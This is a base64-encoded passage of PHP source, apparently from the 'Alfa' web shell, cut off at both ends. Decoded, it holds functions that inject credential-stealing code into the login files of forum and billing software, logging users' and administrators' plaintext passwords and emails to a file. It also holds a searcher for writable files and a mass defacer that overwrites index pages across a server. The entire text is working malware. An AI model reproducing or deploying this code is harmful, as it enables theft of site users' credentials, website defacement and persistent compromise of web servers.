ik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fT8+JzsgICRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsgICRjb21wPSRwYXRoLiIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9sb2dpbi8iOyAgaWYoQGlzX2ZpbGUoJGNvbXAuIi9sb2dpbi5waHAiKSl7ICAkbG9naW4gPSAkY29tcC4iL2xvZ2luLnBocCI7ICB9ZWxzZWlmKEBpc19maWxlKCRjb21wLiIvYWRtaW4ubG9naW4ucGhwIikpeyAgJGxvZ2luID0gJGNvbXAuIi9hZG1pbi5sb2dpbi5waHAiOyAgfWVsc2V7ICAkbG9naW4gPSAnJzsgIH0gIGlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pIEFORCAkbG9naW4gIT0gJycpeyAgJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsgICRldmlsX2xvZ2luID0gJGNvZGUuIlxuIi4kZGF0YV9sb2dpbjsgIEBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRldmlsX2xvZ2luKTsgIGhpamFja091dHB1dCgwLCRzYXZldG8pOyAgfWVsc2V7ICBoaWphY2tPdXRwdXQoMSk7ICB9ICB9ICBmdW5jdGlvbiBoaWphY2tXaG1jcygkcGF0aCwkc2F2ZXRvKXsgICRjb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfUE9TVFtcJ3VzZXJuYW1lXCddKSBBTkQgaXNzZXQoJF9QT1NUW1wncGFzc3dvcmRcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wndXNlcm5hbWVcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wncGFzc3dvcmRcJ10pKXtpZigkYWxmYV9jb25uZWN0PUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSl7JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskYWxmYV91bmFtZSA9IEAkX1BPU1RbXCd1c2VybmFtZVwnXTskYWxmYV9wdyA9IEAkX1BPU1RbXCdwYXNzd29yZFwnXTtpZihpc3NldCgkX1BPU1RbXCdsYW5ndWFnZVwnXSkpeyRhbGZhX3EgPSAiU0VMRUNUICogRlJPTSB0YmxhZG1pbnMgV0hFUkUgYHVzZXJuYW1lYCA9IFwnJGFsZmFfdW5hbWVcJyBBTkQgYHBhc3N3b3JkYCA9IFwnIi5tZDUoJGFsZmFfcHcpLiJcJyI7JGFkbWluID0gdHJ1ZTt9ZWxzZXskYWxmYV9xID0gIlNFTEVDVCAqIEZST00gdGJsY2xpZW50cyBXSEVSRSBgZW1haWxgID0gXCckYWxmYV91bmFtZVwnIjskYWRtaW4gPSBmYWxzZTt9JGFsZmFfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGFsZmFfY29ubmVjdCwgJGFsZmFfcSk7aWYobXlzcWxpX251bV9yb3dzKCRhbGZhX3F1ZXJ5KSA+IDAgKXskcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRhbGZhX3F1ZXJ5KTskYWxsb3cgPSB0cnVlO2lmKCEkYWRtaW4peyRfX3NhbHQgPSBleHBsb2RlKFwnOlwnLCAkcm93W1wncGFzc3dvcmRcJ10pOyRfX2VuY1BXID0gbWQ1KCRfX3NhbHRbMV0uJF9QT1NUW1wncGFzc3dvcmRcJ10pLlwnOlwnLiRfX3NhbHRbMV07aWYoJHJvd1tcJ3Bhc3N3b3JkXCddID09ICRfX2VuY1BXKXskYWxsb3cgPSB0cnVlOyRyb3dbXCd1c2VybmFtZVwnXSA9ICRyb3dbXCdlbWFpbFwnXTt9ZWxzZXskYWxsb3cgPSBmYWxzZTt9fWlmKCRhbGxvdyl7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkcm93W1wndXNlcm5hbWVcJ10gLiBcJyA6IFwnIC4gICRhbGZhX3B3LiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIikgOiAiLigkYWRtaW4gPyBcJ2lzX2FkbWluXCcgOiBcJ2lzX3VzZXJcJykuIlxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0Bmd3JpdGUoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO319fX0/Pic7ICAkY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7ICAkY29uZj0kcGF0aC4iL2NvbmZpZ3VyYXRpb24ucGhwIjsgIGlmKEBpc19maWxlKCRjb25mKSBBTkQgQGlzX3dyaXRhYmxlKCRjb25mKSl7ICAkZGF0YV9jb25mID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjb25mKTsgIGlmKCFzdHJzdHIoJGRhdGFfY29uZiwnPz4nKSkkY29kZSA9ICc/PicuJGNvZGU7ICAkZXZpbF9jb25mID0gJGRhdGFfY29uZi4iXG4iLiRjb2RlOyAgQGZpbGVfcHV0X2NvbnRlbnRzKCRjb25mLCAkZXZpbF9jb25mKTsgIGhpamFja091dHB1dCgwLCRzYXZldG8pOyAgfWVsc2V7ICBoaWphY2tPdXRwdXQoMSk7ICB9ICB9ICBmdW5jdGlvbiBoaWphY2tNeWJiKCRwYXRoLCRzYXZldG8peyAgJGNvZGUgPSAnJGFsZmFfcSA9ICRkYi0+cXVlcnkoIlNFTEVDVCBgZW1haWxgIEZST00gIi5UQUJMRV9QUkVGSVguInVzZXJzIFdIRVJFIGB1c2VybmFtZWAgPSBcJyIuJHVzZXJbXCd1c2VybmFtZVwnXS4iXCciKTskYWxmYV9mZXRjaCA9ICRkYi0+ZmV0Y2hfYXJyYXkoJGFsZmFfcSk7JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAsICR1c2VyW1wndXNlcm5hbWVcJ10uIiA6ICIuICR1c2VyW1wncGFzc3dvcmRcJ10uIiAoICIuJGFsZmFfZmV0Y2hbXCdlbWFpbFwnXS4iIClcbiIpO0BmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZndyaXRlKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOyAgJGZpbmQgPSAnJGxvZ2luaGFuZGxlci0+Y29tcGxldGVfbG9naW4oKTsnOyAgJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOyAgJGxvZ2luPSRwYXRoLiIvbWVtYmVyLnBocCI7ICAkZXZpbF9sb2dpbiA9ICJcdCIuJGNvZGUuIlxuXHQiLiRmaW5kOyAgaWYoQGlzX2ZpbGUoJGxvZ2luKSBBTkQgQGlzX3dyaXRhYmxlKCRsb2dpbikpeyAgJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsgIGlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsgICRsb2dpbl9yZXBsYWNlID0gc3RyX3JlcGxhY2UoJGZpbmQsJGV2aWxfbG9naW4sICRkYXRhX2xvZ2luKTsgIEBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsgIGhpamFja091dHB1dCgwLCRzYXZldG8pOyAgfWVsc2V7ICBoaWphY2tPdXRwdXQoMSk7ICB9ICB9ZWxzZXsgIGhpamFja091dHB1dCgxKTsgIH0gIH0gIGZ1bmN0aW9uIGhpamFja0lQQigkcGF0aCwkc2F2ZXRvKXsgICRjb2RlID0gJyRBbGZhX3EgPSAkdGhpcy0+REItPmJ1aWxkQW5kRmV0Y2goYXJyYXkoXCdzZWxlY3RcJyA9PiBcJ2VtYWlsXCcsIFwnZnJvbVwnID0+IFwnbWVtYmVyc1wnLCBcJ3doZXJlXCcgPT4gXCduYW1lPSJcJy4kdXNlcm5hbWUuXCciIE9SIGVtYWlsPSJcJy4kZW1haWwuXCciXCcpKTskQWxmYV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkQWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJF9QT1NUW1wnaXBzX3VzZXJuYW1lXCddLlwnIDogXCcuJF9QT1NUW1wnaXBzX3Bhc3N3b3JkXCddLlwnICggXCcuJEFsZmFfcVtcJ2VtYWlsXCddLlwnIClcJy4iXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkQWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJEFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOyAgJGZpbmQgPSAndW5zZXQoICRtZW1iZXJbXCdwbGFpblBhc3N3b3JkXCddICk7JzsgICRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsgICRsb2dpbj0kcGF0aC4iL2FkbWluL3NvdXJjZXMvaGFuZGxlcnMvaGFuX2xvZ2luLnBocCI7ICAkZXZpbF9sb2dpbiA9ICJcdCIuJGZpbmQuIlxuXHQiLiRjb2RlOyAgaWYoQGlzX2ZpbGUoJGxvZ2luKSBBTkQgQGlzX3dyaXRhYmxlKCRsb2dpbikpeyAgJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsgIGlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsgICRsb2dpbl9yZXBsYWNlID0gc3RyX3JlcGxhY2UoJGZpbmQsJGV2aWxfbG9naW4sICRkYXRhX2xvZ2luKTsgIEBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsgIGhpamFja091dHB1dCgwLCRzYXZldG8pOyAgfWVsc2V7ICBoaWphY2tPdXRwdXQoMSk7ICB9ICB9ZWxzZXsgIGhpamFja091dHB1dCgxKTsgIH0gIH0gIGZ1bmN0aW9uIGhpamFja1BIUEJCKCRwYXRoLCRzYXZldG8peyAgJGNvZGUgPSAnJEFsZmFfdSA9IHJlcXVlc3RfdmFyKFwndXNlcm5hbWVcJywgXCdcJyk7JEFsZmFfcCA9IHJlcXVlc3RfdmFyKFwncGFzc3dvcmRcJywgXCdcJyk7aWYoJEFsZmFfdSAhPSBcJ1wnIEFORCAkQWxmYV9wICE9IFwnXCcpeyRBbGZhX3Jlc3BvbnNlID0gJGF1dGgtPmxvZ2luKCRBbGZhX3UsJEFsZmFfcCk7aWYoJEFsZmFfcmVzcG9uc2VbXCdzdGF0dXNcJ10gPT0gTE9HSU5fU1VDQ0VTUyl7JEFsZmFfZmlsZSA9IntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkQWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJEFsZmFfdS4iIDogIi4kQWxmYV9wLiAiICggIi4kQWxmYV9yZXNwb25zZVtcJ3VzZXJfcm93XCddW1wndXNlcl9lbWFpbFwnXS4iIClcbiIpO0BmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRBbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkQWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO319JzsgICRmaW5kID0gJ2Nhc2UgXCdsb2dpblwnOic7ICAkY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7ICAkbG9naW49JHBhdGguIi91Y3AucGhwIjsgICRldmlsX2xvZ2luID0gIlx0Ii4kZmluZC4iXG5cdCIuJGNvZGU7ICBpZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7ICAkZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOyAgaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpeyAgJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOyAgQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2dpbiwgJGxvZ2luX3JlcGxhY2UpOyAgaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7ICB9ZWxzZXsgIGhpamFja091dHB1dCgxKTsgIH0gIH1lbHNleyAgaGlqYWNrT3V0cHV0KDEpOyAgfSAgfSAgZnVuY3Rpb24gaGlqYWNrT3V0cHV0KCRjPTAsJHA9Jycpe2VjaG8oJGM9PTA/IjxjZW50ZXI+PGZvbnQgY29sb3I9J2dyZWVuJz5TdWNjZXNzPC9mb250PiAtLT4gcGF0aDogJHA8L2NlbnRlcj4iOic8Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPkVycm9yIGluIGluamVjdCBjb2RlICE8L2ZvbnQ+PC9jZW50ZXI+Jyk7fSAgZnVuY3Rpb24gQWxmYV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkZSwkYXJyPWFycmF5KCkpeyAgaWYoQGlzX2RpcigkZGlyKSl7ICAkZmlsZXM9QHNjYW5kaXIoJGRpcik7ICBmb3JlYWNoKCRmaWxlcyBhcyAka2V5ID0+ICR2YWx1ZSl7ICAkcGF0aD1AcmVhbHBhdGgoJGRpci4gRElSRUNUT1JZX1NFUEFSQVRPUiAuJHZhbHVlKTsgIGlmKCFAaXNfZGlyKCRwYXRoKSl7ICBpZigkZXh0IT0nKicpeyRmID0gYmFzZW5hbWUoJHBhdGgpOyRmID0gZXhwbG9kZSgnLicsJGYpOyRmID0gZW5kKCRmKTtpZigkZiE9JGV4dCljb250aW51ZTt9ICBpZigkZT09J3N0cicpeyAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOyAgaWYoc3RycG9zKCRjb250ZW50LCAkc3RyaW5nKSAhPT0gZmFsc2UpeyAgZWNobyBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCkgLiAiPGJyPiI7ICB9ICB9ZWxzZXsgIGlmKHN0cnN0cigkdmFsdWUsJHN0cmluZykpeyAgZWNobyBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCkgLiAiPGJyPiI7ICB9ICB9ICAkcmVzdWx0c1tdID0gJHBhdGg7ICB9ZWxzZWlmKCR2YWx1ZSAhPSAiLiIgJiYgJHZhbHVlICE9ICIuLiIpIHsgIEFsZmFfU3RyU2VhcmNoZXIoJHBhdGgsJHN0cmluZywkZXh0LCRlLCRyZXN1bHRzKTsgICRyZXN1bHRzW10gPSAkcGF0aDsgIH19fX0gIGZ1bmN0aW9uIGFsZmFzZWFyY2hlcigpeyAgYWxmYWhlYWQoKTsgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2VhcmNoZXIgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ2ZpbGVcJykiPnwgRmluZCBSZWFkYWJsZSBPciBXcml0YWJsZSBGaWxlcyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcpIj58IEZpbmQgRmlsZXMgQnkgTmFtZSB8IDwvYT48L2gzPjwvY2VudGVyPic7ICBpZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSdmaWxlJyl7ICBlY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG5hbWU9InNyY2giIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnZmlsZVwnLHRoaXMuZmlsZW5hbWUudmFsdWUsdGhpcy5leHQudmFsdWUsdGhpcy5tZXRob2QudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZvbnQiPgpNZXRob2Q6IDxzZWxlY3Qgc3R5bGU9IndpZHRoOiAxOCU7IiBvbmNsaWNrPSJhbGZhX3NlYXJjaGVyX3Rvb2wodGhpcy52YWx1ZSk7IiBuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9ImZpbGVzIj5GaW5kIEFsbCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcnMiPkZpbmQgQWxsIFdyaXRhYmxlIERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkZpbmQgQWxsIFJlYWRhYmxlIEFuZCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgpEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7ICAkZGlyID0gJF9QT1NUWydhbGZhMiddOyAgJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsgICRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107ICBpZigkX1BPU1RbJ2FsZmE1J109PSc+PicpeyAgZWNobyBfX3ByZSgpOyAgaWYoc3Vic3RyKCRkaXIsLTEpPT0nLycpJGRpcj1zdWJzdHIoJGRpciwwLC0xKTsgIEFsZmFfU2VhcmNoZXIoJGRpcix0cmltKCRleHQpLCRtZXRob2QpOyAgfSAgfSAgaWYoJF9QT1NUWydhbGZhMSddPT0nc3RyJyl7ICBlY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZvbnQiPgpNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJuYW1lIj5GaW5kIEZpbGVzIEJ5IE5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzdHIiPkZpbmQgU3RyaW5nIEluIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+ClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+CkRpcjogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7ICAkZGlyID0gJF9QT1NUWydhbGZhMiddOyAgJHN0cmluZyA9ICRfUE9TVFsnYWxmYTMnXTsgICRleHQgPSAkX1BPU1RbJ2FsZmE1J107ICBpZighZW1wdHkoJHN0cmluZykgQU5EICFlbXB0eSgkZGlyKSBBTkQgJF9QT1NUWydhbGZhNCddID09ICc+PicpeyAgZWNobyBfX3ByZSgpOyAgQWxmYV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2FsZmE2J10pOyAgfSAgfSAgZWNobyAnPC9kaXY+JzsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFNYXNzRGVmYWNlcigpeyAgYWxmYWhlYWQoKTsgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7ICBlY2hvICc8ZGl2IGNsYXNzPSJ0eHRmb250Ij5EZWZhY2UgTWV0aG9kOiA8c2VsZWN0IG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iaW5kZXgiPkRlZmFjZSBJbmRleCBEaXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgRmlsZXM8L29wdGlvbj48L3NlbGVjdD4KCU1hc3MgZGlyOiA8aW5wdXQgc2l6ZT0iNTAiIGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9Im1hc3NkaXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KCURlZlBhZ2U6IDxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iZGVmcGFnZSIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPjwvZGl2PiA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2NlbnRlcj48L3A+CjwvZm9ybT4nOyAgJGRpciA9ICRfUE9TVFsnYWxmYTEnXTsgICRkZWZwYWdlID0gJF9QT1NUWydhbGZhMiddOyAgJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTMnXTsgICRmQ3VycmVudCA9ICRHTE9CQUxTWydfX2ZpbGVfcGF0aCddOyAgaWYoJF9QT1NUWydhbGZhNCddID09ICc+PicpeyAgaWYoIWVtcHR5KCRkaXIpKXsgIGlmKEBpc19kaXIoJGRpcikpeyAgaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsgIGlmKEBpc19maWxlKCRkZWZwYWdlKSl7ICBpZigkZGggPSBAb3BlbmRpcigkZGlyKSl7ICBlY2hvIF9fcHJlKCk7ICB3aGlsZSAoKCRmaWxlID0gQHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKXsgIGlmKCRmaWxlID09ICcuLicgfHwgJGZpbGUgPT0gJy4nKWNvbnRpbnVlOyAgJG5ld2ZpbGU9JGRpci4kZmlsZTsgIGlmKCRmQ3VycmVudCA9PSAkbmV3ZmlsZSljb250aW51ZTsgIGlmKEBpc19kaXIoJG5ld2ZpbGUpKXsgIEFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsgIH1lbHNleyAgaWYoIUBpc193cml0YWJsZSgkbmV3ZmlsZSkpY29udGludWU7ICBpZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsgIEFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7ICB9ICB9ICBjbG9zZWRpcigkZGgpOyAgfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gT3BlbkRpci4uLjwvZm9udD4nKTt9ICB9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fSAgfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+RGlyZWN0b3J5IGlzIG5vdCBSZWFkYWJsZS4uLjwvZm9udD4nKTt9ICB9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5NYXNzIERpciBpcyBJbnZhbGlkIERpci4uLjwvZm9udD4nKTt9ICB9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fSAgfSAgZWNobyAnPC9kaXY+JzsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIEFsZmFfUmVhZERpcigkZGlyLCRtZXRob2Q9JycsJGRlZnBhZ2U9JycpeyAgaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOyAgaWYgKEBpc19kaXIoJGRpcikpIHsgIGlmICgkZGggPSBAb3BlbmRpcigkZGlyKSkgeyAgd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgeyAgaWYoJGZpbGUgPT0gJy4uJyB8fCAkZmlsZSA9PSAnLicpY29udGludWU7ICAkbmV3ZmlsZT0kZGlyLicvJy4kZmlsZTsgIGlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsgIGlmKEBpc19maWxlKCRuZXdmaWxlKSl7ICBpZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsgIEFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7ICB9ICAgfSAgY2xvc2VkaXIoJGRoKTsgIH0gIH0gIH0gIGZ1bmN0aW9uIEFsZmFfUmV3cml0ZXIoJGRpciwkZmlsZSwkZGVmcGFnZSwkbT0naW5kZXgnKXsgIGlmKCFAaXNfd3JpdGFibGUoJGRpcikpIHJldHVybiBmYWxzZTsgIGlmKCFAaXNfcmVhZGFibGUoJGRpcikpIHJldHVybiBmYWxzZTsgICRkZWZwYWdlPUBmaWxlX2dldF9jb250ZW50cygkZGVmcGFnZSk7ICBpZigkbSA9PSAnaW5kZXgnKXsgICRpbmRleHMgPSBhcnJheSgnaW5kZXgucGhwJywnaW5kZXguaHRtJywnaW5kZXguaHRtbCcsJ2RlZmF1bHQuYXNwJywnZGVmYXVsdC5hc3B4JywnaW5kZXguYXNwJywnaW5kZXguYXNweCcsJ2luZGV4LmpzJyk7ICBpZihpbl9hcnJheShzdHJ0b2xvd2VyKCRmaWxlKSwkaW5kZXhzKSl7ICBAZmlsZV9wdXRfY29udGVudHMoJGRpciwkZGVmcGFnZSk7ICBlY2hvIEBpc19maWxlKCRkaXIpPyRkaXIuIjxiPjxmb250IGNvbG9yPSdyZWQnPkRlRmFjZWQuLi48L2I+PC9mb250Pjxicj4iIDogJyc7ICB9ICB9ZWxzZWlmKCRtPT0nYWxsJyl7ICBAZmlsZV9wdXRfY29udGVudHMoJGRpciwkZGVmcGFnZSk7ICBlY2hvIEBpc19maWxlKCRkaXIpPyRkaXIuIiAgPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsgIH0gIH0gIGZ1bmN0aW9uIGFsZmFHZXREaXNGdW5jKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj4nOyAgJGRpc2Z1biA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyAgICRzID0gZXhwbG9kZSgnLCcsJGRpc2Z1bik7ICAk